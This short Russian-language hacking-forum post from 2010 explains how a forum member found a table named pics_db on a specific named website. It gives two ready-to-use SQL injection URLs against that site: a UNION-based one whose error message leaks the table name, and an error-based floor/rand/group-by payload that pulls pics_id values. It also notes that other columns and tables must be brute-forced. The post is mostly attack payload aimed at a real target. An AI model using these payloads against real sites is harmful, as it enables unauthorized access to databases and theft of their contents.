01.04.2010, 02:29
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Pashkela а как ты узнал о существовании таблицы pics_db, брут?
нет:
Код:
http://www.4ips.biz/products.php?id=71+or+1=1+union+select+1,2,3,4+limit+0,1
to use near 'ORDER BY pics_db.pics_id DESC'
а названия столбцов только брутить (как и остальных таблиц), кроме столбца pics_id:
Код:
http://www.4ips.biz/products.php?id=(select+1+from+(select+count(0),concat((select+pics_id+from+pics_db+limit+0,1),floor(rand(0)*2))+from+pics_db+group+by+2+limit+0,1)a)
|
|
|